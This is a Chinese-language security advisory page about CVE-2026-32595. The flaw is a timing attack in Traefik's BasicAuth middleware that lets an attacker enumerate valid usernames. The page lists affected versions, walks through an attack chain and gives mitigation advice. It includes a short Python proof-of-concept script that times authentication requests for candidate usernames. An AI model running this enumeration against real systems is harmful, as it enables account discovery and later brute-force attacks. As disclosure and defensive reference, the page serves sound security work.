IPBUF安全漏洞报告
English
CVE-2026-32595 CVSS 3.7 低危

CVE-2026-32595 Traefik BasicAuth用户名枚举漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32595
漏洞类型
计时攻击
CVSS评分
3.7 低危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Traefik

相关标签

计时攻击用户名枚举Traefik信息泄露

漏洞概述

Traefik BasicAuth中间件存在计时攻击漏洞,允许未认证攻击者通过响应时间差异枚举系统中的有效用户名,可能导致后续暴力破解攻击。

技术细节

该漏洞源于Traefik BasicAuth中间件在处理登录请求时的逻辑差异。当提交的用户名存在于系统中时,中间件会执行bcrypt哈希比对操作,该计算密集型过程耗时约166毫秒。而当用户名不存在时,系统会立即返回错误响应,耗时仅约0.6毫秒。这种近300倍的响应时间差异在网络层面可被稳定观测,攻击者无需知道密码即可通过计时分析准确判断用户名是否存在,从而获取敏感的用户账户信息。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用Traefik作为反向代理,并开启了BasicAuth认证。
STEP 2
探测分析
攻击者向认证端点发送包含不同用户名的HTTP请求,并记录响应时间。
STEP 3
计时判断
分析响应时间,若响应时间较长(约166ms),则判定用户名存在;若响应极短(约0.6ms),则判定用户名不存在。
STEP 4
枚举利用
利用该机制遍历常用用户名字典,获取系统中有效的账户列表,为后续的暴力破解或定向攻击做准备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time def check_username_timing(url, username, password): """ Checks if a username exists based on response timing. Valid username: ~166ms (bcrypt check) Invalid username: ~0.6ms (immediate return) """ headers = { "Authorization": f"Basic {username}:{password}" # Simplified, needs base64 in real usage or use requests.auth } # Using requests.auth for proper encoding auth = (username, password) start = time.time() try: response = requests.get(url, auth=auth, timeout=5) duration = time.time() - start return duration except Exception as e: return -1 # Example usage target = "http://localhost:8080" users = ["admin", "root", "test"] for u in users: t = check_username_timing(target, u, "testpass") print(f"User: {u}, Time: {t:.4f}s")

影响范围

Traefik <= 2.11.40
Traefik 3.0.0-beta1 至 3.6.11
Traefik 3.7.0-ea.1

防御指南

临时缓解措施
建议尽快升级至官方修复版本以彻底解决该漏洞。如果暂时无法升级,可通过在网络边界引入随机延迟或速率限制来增加计时攻击的难度,但这不能替代补丁修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表